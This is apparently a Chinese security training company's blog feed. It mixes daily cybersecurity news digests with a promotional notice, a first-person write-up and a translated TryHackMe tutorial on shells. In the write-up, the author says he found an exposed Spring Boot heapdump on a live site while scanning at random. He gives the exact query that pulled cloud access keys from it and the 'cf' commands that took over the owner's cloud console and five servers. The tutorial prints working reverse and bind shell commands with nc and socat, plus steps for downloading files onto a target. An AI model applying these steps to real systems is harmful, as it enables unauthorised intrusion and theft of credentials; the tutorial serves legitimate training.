网络安全日报 2023年04月12日
1、黑客对以色列关键基础设施进行新一轮网络攻击
https://www.hackread.com/israel-cyberattacks-hit-critical-infrastructure/ 近日以色列再次成为黑客的目标,针对该国主要机构网站(包括航空公司、交通、邮政和灌溉系统的网站)的网络攻击激增。其中以色列的灌溉系统遭到了一系列网络攻击,导致数个水监测器在4月9日发生故障。据推测这些网络攻击可能是OpIsrael年度活动的一部分,该活动由反国家黑客组织在每年四月举行,主要目的是破坏以色列的关键基础设施。
2、攻击者利用NPM存储库提高搜索排名以传播恶意软件
https://thehackernews.com/2023/04/hackers-flood-npm-with-bogus-packages.html 攻击者利用开源存储库在搜索引擎结果中排名较高的事实来创建流氓网站,并上传空的npm模块,并在README.md文件中包含指向这些站点的链接。这些伪造的包淹没了Node.js的npm开源包存储库,甚至短暂地导致了拒绝服务 (DoS) 攻击。本次攻击的最终目标是用RedLine Stealer、Glupteba、SmokeLoader和加密货币矿工等恶意软件感染受害者的系统。
3、Trigona勒索软件攻击MS-SQL服务器
https://asec.ahnlab.com/ko/51168/ 安全厂商(ASEC) 最近确认,Trigona勒索软件被安装在管理不当的MS-SQL服务器上。管理不当的MS-SQL服务器是指暴露于外界环境,仅通过设置账户信息就容易受到暴力破解的环境。如果攻击者登录成功,系统的控制权就会转移给攻击者,并可以安装恶意代码或执行恶意命令。
4、经改装的公共电源插座可能会窃取个人数据
https://www.zdnet.com/article/fbi-warns-of-juice-jacking-charging-stations-in-public-areas-how-to-stay-protected/ FBI 表示,公共电源插座正在被非法改装以窃取用户手机数据。安全起见,建议选择是便携式充电设备,为智能手机、平板电脑、笔记本电脑等充电,或者使用US 数据拦截器充电,它通过取消传统上在USB电缆上找到的数据线来实现这种安全性。可以在物理上阻止插座和设备之间的任何数据传输。
5、拥有肯德基、必胜客和塔可钟品牌的 Brands 公司披露数据泄露
https://securityaffairs.com/144676/data-breach/yum-brands-data-breach.html 拥有肯德基、必胜客和塔可钟品牌的 Brands 公司在 1 月份的勒索软件攻击后披露了一起数据泄露事件。
6、Microsoft Azure 中的“By-Design”漏洞可允许存储帐户接管
攻击者可以利用 Microsoft Azure 中的一个缺陷来访问存储帐户、执行横向移动,甚至执行远程代码。研究人员演示了如何滥用 Microsoft Azure共享密钥授权来获得对存储帐户和潜在关键业务资产的完全访问权限。该问题也可能被滥用以在环境中横向移动,甚至执行远程代码。
7、微软修补了一个已经被利用的 Windows 零日漏洞
https://www.securityweek.com/microsoft-patches-another-already-exploited-windows-zero-day/ 该漏洞被 Mandiant 的研究人员标记为零日漏洞,被描述为 Windows 通用日志文件系统驱动程序中的特权提升问题。在记录CVE-2023-28252的公告中,Redmond 警告说,成功利用此漏洞的攻击者可以获得 SYSTEM 权限。
8、国家网信办发布《生成式人工智能服务管理办法(征求意见稿)》
https://www.freebuf.com/news/363195.html 为促进生成式人工智能技术健康发展和规范应用,4月11日,国家网信办发布《生成式人工智能服务管理办法(征求意见稿)》(以下简称《管理办法》)。
9、瑞友天翼应用虚拟化系统存在远程代码执行漏洞
https://www.secrss.com/articles/53592 近日,奇安信CERT监测到瑞友天翼应用虚拟化系统远程代码执行漏洞,未经身份认证的远程攻击者可以利用该漏洞在目标系统上执行任意代码。鉴于该漏洞影响范围较大,建议客户尽快升级到安全版本。
10、3CX 确认供应链攻击背后的朝鲜APT组织
https://www.freebuf.com/articles/system/362686.html VoIP 通信公司 3CX 证实,一个朝鲜APT组织是上个月供应链攻击的幕后黑手。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
从spring boot泄露到接管云服务器平台
0x1前言
在打野的时候意外发现了一个站点存在springboot信息泄露,之前就有看到一些文章可以直接rce啥的,今天刚好试试。通过敏感信息发现存在accesskey泄露,就想直接通过解密,获取敏感信息,接管云平台。
首先说下这个漏洞的产生。主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置。我们是可以通过访问/v2/api-docs和/swagger-ui.html去验证是否存在的。
0x2漏洞利用
本次我们想获取/actuator/env里面的明文信息,那么有三种方法可以获取。
第一种:通过/jolokia接口获取明文
利用条件:
目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)
第二种:通过/env接口发送明文到你vps上
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在spring-boot-starter-actuator依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)
第三种:和第二种差不多,只是方式不一样
通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
目标可以请求攻击者的服务器(请求可出外网)
第四种:通过/heapdump下载到本地解密
1、可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口
而我这边采用第四种方法去获取。先下载一个heapdump文件。
其实我看了好多篇文章,使用jvisualvm.exe尝试去解开heapdump,但是都无法正常获取,可能也是我操作有问题,后续使用EclipseMemory Analyzer,完美解决。
使用Eclipse Memory Analyzer去查询对应的字段:
select * from java.util.LinkedHashMap $Entry x WHERE (toString(x.key).contains("accessKeySecret"))
注意:这边默认是不支持模糊查询的,必须字段完全匹配才能查询到字段。如仅输入accessKey是查询不到accessKeySecret的字段值的。
0x3接管云平台
成功获取accessKeySecret和accessKeyId后,接下来我们就可以使用cf进行接管云平台了。
链接:https://github.com/teamssix/cf
使用cf config配置accessKeySecret和accessKeyId:
配置完直接一键接管:cf alibaba console
这边会生成地址和账号密码,拿去登录即可获取云平台账号权限:
这边可以看到,他是有5台服务器实例的,直接获取5台服务器权限。
0x4结尾
其实我之前不只尝试了第四种,而是被迫使用第四种方式获取明文信息。尝试前面三种,都是以500报错结束,具体也不知道是什么原因,有大佬知道的可以教一下。
本文其实只是想让大家了解一下一些漏洞和一些信息泄露的用法,其实很多东西都是没有含金量的,说破不值钱。自己最近接触了很多刚开始学习安全的人,都不知道从何入手。对于刚刚开始学习的人,个人建议可以多看看漏洞原理和别人的文章,从中吸取经验和渗透思路,很多实力其实都是经验累积出来的。可能有时候看到别人文章,会觉得就是一帆风顺的,很简单,但是其实很多人只是没把自己走了多少弯路,踩了多少坑说出来罢了。本人也只是刚开始摸索的小白,本身学习是学无止境的,纯靠兴趣去驱动。
网络安全日报 2023年04月11日
1、黑客使用 Rilide 浏览器扩展绕过 2FA,窃取加密货币
https://www.bleepingcomputer.com/news/security/hackers-use-rilide-browser-extension-to-bypass-2fa-steal-crypto/ 安全研究人员发现了一种名为 Rilide 的新恶意浏览器扩展,该扩展针对基于 Chromium 的产品,如 Google Chrome、Brave、Opera 和 Microsoft Edge。
2、荷兰政府要求使用RPKI防止BGP劫持
https://www.bleepingcomputer.com/news/security/all-dutch-govt-networks-to-use-rpki-to-prevent-bgp-hijacking/ 荷兰政府将通过在2024年底之前采用资源公钥基础设施 (RPKI) 标准来升级其互联网路由的安全性。该标准使用数字证书来保护用于交换路由信息的边界网关协议 (BGP),并确保流量来自控制目标路径上IP地址并为合法网络运营商。实施 RPKI 的网络可以确信互联网流量仅通过授权路径路由,从而消除中间人或其他数据转移和拦截攻击的风险。
3、安全厂商发现通过邮件传播Qakbot攻击活动
https://asec.ahnlab.com/ko/51109/ AhnLab安全紧急响应中心 (ASEC) 发现使用电子邮件附加恶意PDF文件分发Qakbot恶意软件的攻击活动。Qakbot被称为银行类恶意代码,是通过各种媒体不断传播的恶意代码之一,ASEC过去曾介绍过该恶意代码的分布趋势。本文主要是介绍在韩国发现的通过邮件附件传播恶意软件的新的攻击活动。
4、CISA 将苹果设备中的零日漏洞添加到其已知被利用漏洞目录中
https://securityaffairs.com/144638/security/apple-flaws-cisa-known-exploited-vulnerabilities-catalog.html 美国网络安全和基础设施安全局 (CISA) 将 iPhone、Mac 和 iPad 中的两个漏洞添加到其已知被利用漏洞目录中。
5、Sophos修补了Sophos Web Appliance 中的多个高危漏洞
https://securityaffairs.com/144623/security/sophos-web-appliance-flaws.html 网络安全供应商 Sophos 解决了Sophos Web Appliance 中的三个漏洞,包括一个严重漏洞,被跟踪为 CVE-2023-1671(CVSS 评分为 9.8),该漏洞可能导致代码执行。
6、特斯拉前员工透露:公司内部会传播车主的敏感视频
https://www.reuters.com/technology/tesla-workers-shared-sensitive-images-recorded-by-customer-cars-2023-04-06/ 据路透社报道,多位特斯拉前员工透露,特斯拉团队经常会在内部分享来自车主的视频和照片等敏感信息。
7、三星员工使用 ChatGPT 无意中泄露了公司的机密数据
https://securityaffairs.com/144597/security/samsung-data-leak-chatgpt.html 三星工程师使用 ChatGPT 评估公司源代码,他们要求聊天机器人优化测试序列,以识别他们设计的芯片中的故障。据 Techradar 网站称,在不到一个月的时间里,该公司因员工通过 ChatGPT 泄露敏感信息而导致三起数据泄露。
8、Balada Injector 在过去五年中感染了超过一百万个WordPress站点
https://cyware.com/news/balada-injector-infected-over-a-million-sites-in-last-five-years-271425c7 一个大规模的WordPress感染活动,自2017年以来一直在进行,并被正式命名为Balada Injector。该恶意获得利用WordPress主题和插件的所有已知漏洞。
9、印度斥巨资寻求飞马间谍软件替代品
https://www.anquanke.com/post/id/288174 据报道,印度正在寻找比被飞马系统更低调的新型间谍软件,与之竞争的监控软件制造商正准备竞标纳伦德拉•莫迪政府提供的利润丰厚的交易。
10、亚马逊禁售 Flipper Zero,声称它违反了针对刷卡设备的政策
https://gizmodo.com/amazon-bans-flipper-zero-card-skimming-on-tiktok-1850313284 亚马逊已在其平台上禁止售卖Flipper Zero,并将其标记为禁止使用的盗卡设备。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
实力认可 | 蚁景科技入选安全牛《网络安全行业全景图》
日前,国内权威安全媒体“安全牛“正式发布《网络安全行业全景图(第十版)》。本次发布的全景图,细分领域共收录3180项,收录国内网络安全企业和相关行业机构456家。
蚁景科技作为可靠的的网络安全人才培养服务提供商,旗下“蚁景网安实验室”、“蚁景网安学院”成功入选安全牛《网络安全行业全景图》(第十版)的【安全靶场】、【安全意识与培训】细分领域。
安全靶场
安全意识与培训
https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651123462&idx=1&sn=da6ce258e4b3d67e1e94626ec6d08678&scene=21#wechat_redirect湖南蚁景科技有限公司作为国内领先的“网络安全人才培养服务提供商”,为配合国家网络安全人才培养战略,以市场需求为导向,以能力提升为目标,从高校科研、教学实训及企事业单位实际需求出发,基于对“互联网+教育”的深刻理解,通过自主研发的“网络安全人才实训靶场”,为高校、政企单位、科研院所等行业客户提供满足在线实验教学的虚拟实验环境与各种课件资源
未来,蚁景科技将继续坚持优化人才培养、技术创新、产业发展的良性生态,为网络安全能力全面提升贡献力量。
网络安全日报 2023年04月10日
1、MSI公司被Money Message勒索软件要求支付400万美元赎金
https://www.bleepingcomputer.com/news/security/money-message-ransomware-gang-claims-msi-breach-demands-4-million/ 2、Windows 10 21H2 将于 6 月终止服务
https://www.bleepingcomputer.com/news/microsoft/microsoft-windows-10-21h2-is-reaching-end-of-service-in-june/ 近期微软提醒客户,多个版本的Windows 10版本21H2将在两个月后即2023年6月 13日到达服务终止 (EOS),这些版本之后将不再接收安全更新。在此日期之后联系Microsoft售后支持的客户将被指导将设备更新到最新版本的Windows 10或升级到Windows 11 。
3、Apple修复两个用于破解iPhone和Mac的零日漏洞
https://www.bleepingcomputer.com/news/apple/apple-fixes-two-zero-days-exploited-to-hack-iphones-and-macs/ Apple发布了紧急安全更新,以解决两个新的零日漏洞,这些漏洞被用于攻击 iPhone、Mac和iPad。第一个安全漏洞(跟踪为 CVE-2023-28206)可能导致数据损坏、崩溃或代码执行。成功的利用允许攻击者在目标设备执行任意代码。第二个零日漏洞 (CVE-2023-28205) 是一个 WebKit在释放后使用的弱点,通过诱使目标加载受攻击者控制的恶意网页来利用此缺陷,这可能
4、微软和Fortra联手打击恶意Cobalt Strike服务器
https://www.bleepingcomputer.com/news/security/microsoft-and-fortra-crack-down-on-malicious-cobalt-strike-servers/ Fortra前身为Help Systems,2012年发布了Cobalt Strike ,作为红队扫描组织基础设施漏洞的合法商业渗透测试工具。随着时间的推移,威胁行为体已经获得并分发该软件的破解副本,导致 Cobalt Strike成为涉及数据盗窃和勒索软件的网络攻击中使用最广泛的工具之一。微软表示将与Fortra合作,解决网络犯罪分子滥用Cobalt Strike
5、ARES Leaks将成为新的数据泄露服务中心
https://www.bleepingcomputer.com/news/security/breached-shutdown-sparks-migration-to-ares-data-leak-forums/ ARES Leaks是一个托管在常规网络上的平台,提供对来自 65 个国家(包括美国、法国、西班牙、澳大利亚和意大利)的数据泄露的访问。该网站托管各种类型的信息泄漏,从电话号码、电子邮件地址、客户详细信息、B2B、SSN 和公司数据库,到外汇数据、政府泄漏和护照。在Breached论坛关闭后,ARES Leaks的活动有所增加。ARES将Breached的关闭视为加速增长并确立其
6、Exchange Online CAR弃用计划推迟到2024年
https://www.bleepingcomputer.com/news/microsoft/microsoft-delays-exchange-online-cars-deprecation-until-2024/ 微软宣布,Exchange Online中的客户端访问规则 (CAR) 弃用将推迟一年,直到 2024 年 9 月。在先前的2022年9月公告中,该公司表示,旧的Exchange Online访问规则将在 2023 年 9 月之前逐步淘汰。后续公司尝试禁用了CARs cmdlet,但未找到更安全的替代方案,从而导致逐步淘汰延迟。
7、印度要求Facebook和Twitter遵守新的IT法
https://techcrunch.com/2023/04/06/india-cracks-down-on-betting-games/ 印度修订了 IT 法,禁止Facebook、Twitter和其他社交媒体公司发布、托管或分享有关政府“任何业务”的虚假或误导性信息,这一新规将打击许多科技巨头,这些巨头将南亚市场确定为他们最大的用户。
8、vm2 JavaScript 沙盒修复了严重的远程代码执行漏洞
https://securityaffairs.com/144582/hacking/vm2-rce-sandbox-escape.html vm2 JavaScript 沙箱模块背后的开发人员已经解决了一个严重漏洞,跟踪为CVE-2023-29017 (CVSS 评分 9.8),该漏洞可被利用来执行任意 shellcode。
9、Telegram已成为销售网络钓鱼工具和服务的首选之地
https://www.bleepingcomputer.com/news/security/telegram-now-the-go-to-place-for-selling-phishing-tools-and-services/ 研究人员发现威胁行为体正在使用Telegram作为消息传递平台,来兜售网络钓鱼工具包并帮助建立网络钓鱼活动。通过该平台威胁行为体向观众宣传网络钓鱼,并提供从服务报价到定制开发和被盗数据验证等一体化服务。
10、QNAP 零日漏洞导致 8 万台设备易受网络攻击
https://www.darkreading.com/vulnerabilities-threats/qnap-zero-days-80k-devices-vulnerable-cyberattack 多个 QNAP 操作系统受到影响,包括 QTS、QuTS hero、QuTScloud 和 QVP Pro 设备,有些还没有可用的补丁。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Privilege Escalation 权限提升
第 1 章 前言
这是 tryhackme 渗透测试章节的最后一个房间。原本想谷歌机翻然后我手工看一下,但是感觉这样练习不了英文,所以全部手工翻译,实在翻不出来再交给谷歌。手工翻译不免存在勘误,建议英文好的读者朋友们直接去阅览原文。
第 2 章 shell
权限提升,简称提权。在讲提权之前,先说说常见的 shell 以及它们的加固。
2.1 shell 是什么?
在我们深入了解发送和接收 shell 的复杂性之前,理解 shell 是什么很重要。
简单来说,shell 就是我们与命令行环境 (CLI) 交互时使用的工具。例如,Linux 中常见的 bash 或 sh 程序都是 shell 的示例。Windows 中的 cmd.exe 和 Powershell 也是如此。
有时我们可在目标机上进行 RCE,在这种情况下我们希望利用此漏洞来获取在目标机的 shell。
简单来说,我们可以强制远程机器向我们发送对其的命令行访问(reverse shell),或是我们主动连接到该机器上并获得该机器的 shell。
reverse shell 就是反向/反弹 shell 的意思bind shell 就是正向 shell
2.2 工具篇
我们将使用多种工具来接收 reverse shell 和发送 bind shell。
通常我们需要恶意的 shell code 以及和生成的 shell 交互的方法。我们可通过以下几个工具实现这一点:
1. Netcat:
Netcat 号称网络的 “瑞士军刀” 。它用于执行各种网络交互,包括在枚举期间抓取 banner 等。
然而对于我们来说更重要的是它可以用于接收反弹 shell 或者连接到目标机上的 bind shell 的远程端口。
注:默认情况下,Netcat shell 非常不稳定(容易丢失),所以后文会介绍改进的技术。
2. Socat:
Socat 就像 steroids(英文原意是类固醇) 上的 netcat。它可以做所有相同的事情,甚至更多。 Socat shell 通常比 netcat shell 更稳定,从这个意义上说它远远优于 netcat。然而 socat 相比于 netcat 有以下两个问题:
Socat 语法比 Netcat 难
Socat 普及性不如 Netcat。默认情况下,几乎每个 Linux 发行版都安装了 Netcat。但它们默认情况下很少安装 Socat。
这两个问题都有解决方法,我们将在后面介绍。
Socat 和 Netcat 都有用于 Windows 的 .exe 版本。
3. Metasploit -- multi/handler:
注意,以下有效载荷、有效负载等指的是 payload 的意思。
Metasploit 框架的 auxiliary/multi/handler 模块与 socat 和 netcat 一样,提供了用于接收反弹 shell 的功能。由于是 Metasploit 框架的一部分,所以 multi/handler 提供了一种成熟的方式来获取稳定的 shell,并提供了多种进一步的选项来改进捕获到的 shell。它也是与 meterpreter shell 交互的唯一方式,也是处理 staged payload (分阶段 payload?)的最简单方式。
4. Msfvenom:
与 multi/handler 一样,msfvenom 在技术上是 Metasploit 框架的一部分,但是,它作为独立工具提供。 Msfvenom 用于动态生成 payload 。虽然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但这不是本文的重点。
Msfvenom 是一个非常强大的工具,因此我们将在专门的任务中更详细地介绍它。
除了我们已经介绍过的工具之外,还有许多不同语言的一些 shell 存储库。其中最突出的一个是 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md。 此外,PentestMonkey https://web.archive.org/web/20200901140719/http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sh
除了这些在线资源,Kali Linux 还预装了位于 /usr/share/webshells 的各种 webshell。 https://github.com/danielmiessler/SecLists 虽然主要用于单词列表,但也包含一些用于获取 shell 的非常有用的代码。
2.3 Shell 的类型
我们主要对两种 shell 感兴趣:Reverse shell 和 bind shell。
Reverse shell(反弹/向 shell) 是指目标被迫连接到您的计算机。在您自己的计算机上,您可以使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。
反向 shell 是绕过防火墙规则的好方法,因为防火墙规则可能会阻止您连接到目标上的任意端口。
反向 shell 的缺点是当通过 Internet 从一台机器接收 shell 时,您需要配置自己的网络以便接受它。(最经典的例子就是使用阿里的云服务器接收反弹的 shell 时要修改安全组规则)
bind shell(正向 shell) 是指在目标上执行代码时,我们直接让其打开一个附加到 shell 上的监听器(即端口)。端口将会向互联网开放,这意味着您可以连接到代码打开的端口并以这种方式获得 RCE 的能力。这具有不需要在您自己的网络上进行任何配置的优点,但可能会被保护目标的防火墙阻止。
一般情况下,反向 shell 更容易执行和调试。以下会给出反弹 shell 和 正向 shell 的示例,请注意它们间的区别。
Reverse Shell 的例子:
让我们从更常见的反向 shell 开始。以下图为例,在左侧我们有一个反向 shell 侦听器——这是接收连接的地方。右侧是发送反向 shell 的模拟(实际上,这更有可能通过远程网站上的代码注入或类似的方式来完成)把左边的图片想象成你自己的电脑,把右边的图片想象成目标。
在攻击机器上:sudo nc -lvnp 443
在目标机器上:nc <攻击机的ip> <攻击机的端口> -e /bin/bash
请注意,在运行右侧的命令后,侦听器会收到一个连接。当运行 whoami 命令时,我们看到我们正在以目标用户的身份执行命令。这里重要的是我们正在攻击机上监听,并收到了来自目标的连接。
nc 的 -e 选项表示在连接成功后要执行的程序,这里表示连接成功之后把自己的 bash 发送到另一端
bind shell 的例子:
bind shell 不太常见,但仍然非常有用。 以下图为例,在左侧同样是攻击者的计算机,而右侧依然是我们的模拟目标。但是为了稍微调整一下,这次我们将使用 Windows 目标。首先,我们在目标上启动一个侦听器——这次我们告诉它连接完毕后执行 cmd.exe。然后,在侦听器启动并运行的情况下,我们从自己的机器连接到新打开的端口。
在目标机上:nc -lvnp <port> -e "cmd.exe" 在攻击机上:nc <目标机ip> <port>
如您所见,这再次让我们在目标机上执行代码。请注意,这并非特定于 Windows。 这里要理解的重要一点是目标在监听特定端口,然后我们主动连接到目标的这个端口。
与此任务相关的最后一个概念是交互性。shell 可以是交互式的,也可以是非交互式的。
交互式:如果您使用过 Powershell、Bash、Zsh、sh 或任何其他标准 CLI 环境,那么您将习惯于交互式 shell。交互式的 shell 允许您在执行程序后与程序进行交互。例如,采用 SSH 登录的提示:
在这里您可以看到它以交互方式询问用户键入 yes 或 no 以继续连接。这是一个交互式程序,需要交互式 shell 才能运行。
非交互式 shell 不会给你那种 “奢侈” 。在非交互式 shell 中,您只能使用不需要用户交互即可正常运行的程序。不幸的是,大多数简单的反向 shell 和正向 shell 都是非交互式的,这会使进一步的利用变得更加棘手。让我们看看当我们尝试在非交互式 shell 中运行 SSH 时会发生什么:
请注意,whoami 命令(非交互式)执行地很好,但 ssh 命令(交互式)根本没有给我们任何输出。
注:交互式命令的输出确实会出现在某个地方,但是,弄清楚在哪里是您自己尝试的练习。可以说交互式程序在非交互式 shell 中不起作用。 此外, 上图的 listener 命令是用于演示的攻击机独有的别名,是 sudo rlwrap nc -lvnp 443 命令的简写方式,将在后续任务中介绍。除非已在本地配置别名,否则它将无法在任何其他计算机上运行。
回答下列问题:
哪种类型的 shell 会回连到您计算机上的侦听端口,反向 (R) 或绑定 (B)?
您已将恶意 shell 代码注入网站。您收到的 shell 可能是交互式的吗? (是或否)
使用 bind shell 时,您会在攻击者 (A) 还是目标 (T) 上执行侦听器?
2.4 Netcat
如前所述,Netcat 是渗透测试人员工具包中最基本的工具之一,涉及任何类型的网络。有了它,我们可以做各种各样有趣的事情,但现在让我们关注和 netcat 相关的 shell。
++Reverse Shells++
在前面的任务中,我们看到反弹 shell 需要 shellcode 和一个侦听器。执行 shell 的方法有很多种,因此我们将从查看侦听器开始。
使用 Linux 启动 netcat 侦听器的语法如下:
nc -lvnp <端口号>
-l 用于告诉 netcat 这将是一个监听器
-v 用于请求详细输出
-n 告诉 netcat 不解析主机名及DNS,在此不过多阐述。
-p 表示要监听的端口。
上一个任务中的示例使用 443 端口。实际上,您可以使用任何您喜欢的端口,只要还没有服务使用它即可。
请注意,如果您选择使用小于 1024 的端口,则在启动侦听器时需要加上 sudo。
使用众所周知的端口号(80、443 或 53 是不错的选择)通常是个好主意,因为这更有可能通过目标上的出站防火墙规则。 比如以下命令在 443 端口上打开一个侦听器:
sudo nc -lvnp 443
然后,我们可以使用任意数量的 payload 连接到以上侦听器,具体取决于目标上的环境。
++Bind Shells++
如果我们希望在目标上获得 bind shell,那么我们可以假设已经有一个侦听器在目标的特定端口上等待我们,我们需要做的就是连接到它。其语法相对简单:
nc <目标IP> <目标上的特定端口>
在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。
2.5 加固 Netcat shell
在得到一个 Netcat shell 之后,我们首先应该做什么?
答案是加固我们得到的 shell!
默认情况下,这些 shell 非常不稳定。例如按 Ctrl + C 会断开 shell。
此外它们还是非交互式的,并且经常有奇怪的格式错误。这是因为 netcat shell 实际上是在终端内运行的进程,而不是真正的终端本身。
幸运的是,有很多方法可以稳定 Linux 系统上的 netcat shell。下文我们将介绍三个加固 netcat shell 的方法。
注:Windows 反弹 shell 的加固往往很困难。好在我们下文介绍的第二种技术对此特别有用。
技术 1:Python
我们要讨论的第一种技术仅适用于 Linux 机器,因为它们几乎总是默认安装 Python。该技术有三个操作步骤:
首先要做的是在目标机的 shell 上(无论是反向的还是正向的)执行如下命令
python -c 'import pty;pty.spawn("/bin/bash")
它使用 Python 生成功能更好的 bash shell。请注意,某些目标可能需要指定 Python 版本。如果是这种情况,请根据需要将 “python” 替换为 “python2” 或 “python3”。
命令执行完毕后我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 键进行自动补齐,并且 Ctrl + C 仍会终止 shell。
第二步是在目标机的 shell 上执行 export TERM=xterm 命令。这将使我们能够访问诸如 clear 之类的术语命令。
最后也是最重要的一步,使用 Ctrl + Z 挂起目标的 shell 回到我们的终端并输入以下命令:
stty raw -echo;fg
以上命令做了两件事情:
它关闭了我们的终端回显(这允许我们可以使用 tab 自动补齐以及在 shell 内部输入 Ctrl + C 终止进程)。
回到目标机的 shell 上从而完成整个加固 shell 的过程。
下图是一个完整的示例:
注意到如果 shell 断开了,那么你的终端上的任意输入都将不可见(因为之前我们禁用了终端回显)。不过我们可以输入 reset 命令修复这一点。
技术 2:rlwrap
rlwrap 是一个程序,简单来说,它能让我们在收到 shell 后就立即拥有访问历史记录、tab 键自动补齐等功能。但是,如果您希望能够在 shell 中使用 Ctrl + C,则还需进行一些操作。
Kali 默认没有安装 rlwrap,所以首先使用 sudo apt install rlwrap 安装它。
使用 rlwrap 开启一个侦听器的语法很简单,仅需要在 nc 命令的前面加上 rlwrap 即可。
rlwrap nc -lvnp <监听的端口>
在我们的 netcat 侦听器前面加上 “rlwrap” 可以为我们提供一个功能更齐全的 shell。
这种技术在处理 Windows shell 时特别有用。(众所周知 Windows shell 很不稳定)。在处理 Linux 目标时,可以使用上述讲到的技术来加固 shell:
使用 Ctrl + Z 挂起 shell
使用如下命令加固 shell 并重新进入。
stty raw -echo;fg
技术 3:Socat
第三种稳定 shell 的方法是以 Netcat shell 为基础,得到一个更加稳定的 Socat shell。
请记住,此技术仅限于 Linux 目标。因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。
为了实现这种稳定方法,我们首先需要将一个 https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true(一个编译为没有依赖关系的程序版本)传输到目标机器。
如何上传文件到目标机器?
一般的方法是在存放 socat 二进制文件的目录下开启一个 web 服务器(在攻击机器上),然后让目标机访问该 web 服务器并下载 socat 文件即可。
如果安装了 python,可以使用以下命令开启一个 web 服务器:
sudo python3 -m http.server 80
若是 python2 的话,则应输入以下命令:
sudo python -m SimpleHTTPServer
然后就可以在目标机器的 netcat shell 上下载文件了。
如果 Linux 系统,可以使用 curl 或 wget (wget <LOCAL-IP>/socat -O /tmp/socat) 来下载文件。
如果是 Windows 系统,可以使用 Powershell 完成相同的操作。比如使用 Invoke-WebRequest 或 webrequest 系统类,具体取决于安装的 Powershell 版本(Invoke-WebRequest -uri <LOCAL-IP>/socat .exe -outfile C:\\Windows\temp\socat.exe)。
更改终端 tty 大小
使用上述任何技术来改变你的终端 tty 大小是一件很有用的事情。这是您的终端在使用常规 shell 时会自动执行的操作。然而,如果您想使用类似文本编辑器的东西来覆盖屏幕上的所有内容,则必须在反向或正向 shell 中手动更改终端 tty 大小。
首先,在攻击机上打开终端运行 stty -a 命令,并记下输出中 rows 和 columns 的值:
接下来,在您的 reverse / bind shell 中,键入: stty raws <number1> 和 stty cols <number2> 命令number1、number2 填写您在自己的终端中运行命令获得的数字(上图分别是 45 和 118)。 这将改变终端的注册宽度和高度,从而使得文本编辑器等依赖此类信息准确的程序正确打开。
回答以下问题:
您将如何将终端大小更改为 238 列?
在端口 80 上设置 Python3 网络服务器的语法是什么?
2.6 Socat
Socat 在某些方面与 netcat 相似,但在许多其他方面有根本的不同。考虑 socat 的最简单方法是将其作为两点之间的连接器。在这个房间内,这基本上是一个监听端口和键盘,但是,它也可以是一个监听端口和一个文件,或者实际上是两个监听端口。 socat 所做的只是提供两点之间的链接——很像 Portal 游戏中的 portal gun!
我们再次以反向 shell 为例:
1. 反向 shell
如前所述,socat 的语法比 netcat 的语法难得多。
下面是 socat 中开启反向 shell 侦听器的语法:
socat TCP-L:<端口> -
与 netcat 一样,这需要两个点(监听的端口和标准输入)并将它们连接在一起。
生成的 shell 是不稳定的,但这将适用于 Linux 或 Windows,并且等效于 nc -lvnp <port>。
在 Windows 上,我们将使用以下命令连接上述侦听器:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
“pipes” 选项用于强制 powershell(或 cmd.exe)使用 Unix 风格的标准输入和输出。 Linux 目标的等效命令如下:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
Bind Shells
在 Linux 目标上,我们将使用以下命令:
socat TCP-L:<PORT> EXEC:"bash -li"
在 Windows 目标上,我们将为我们的侦听器使用此命令:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
我们使用 “pipes” 参数来连接 Unix 和 Windows 在 CLI 环境中处理输入和输出的方式。 无论目标是什么,我们都在我们的攻击机器上使用这个命令来连接到等待的监听器。
socat TCP:<TARGET-IP>:<TARGET-PORT> -
现在让我们来看看 Socat 的一个更强大的用途:一个完全稳定的 Linux tty 反向 shell。这仅在目标为 Linux 时有效,但要稳定得多。如前所述,socat 是一个非常通用的工具;然而,以下技术可能是其最有用的应用之一。这是新的侦听器语法:
socat TCP-L:<port> FILE:`tty`,raw,echo=0
让我们把这条命令分解成两部分。像往常一样,我们将两点连接在一起。在这种情况下,这些点是一个监听端口和一个文件。具体来说,我们将当前 TTY 作为文件传递,并将 echo 设置为零。这大约相当于使用 netcat shell 时使用的 Ctrl + Z, stty raw -echo;fg 技巧
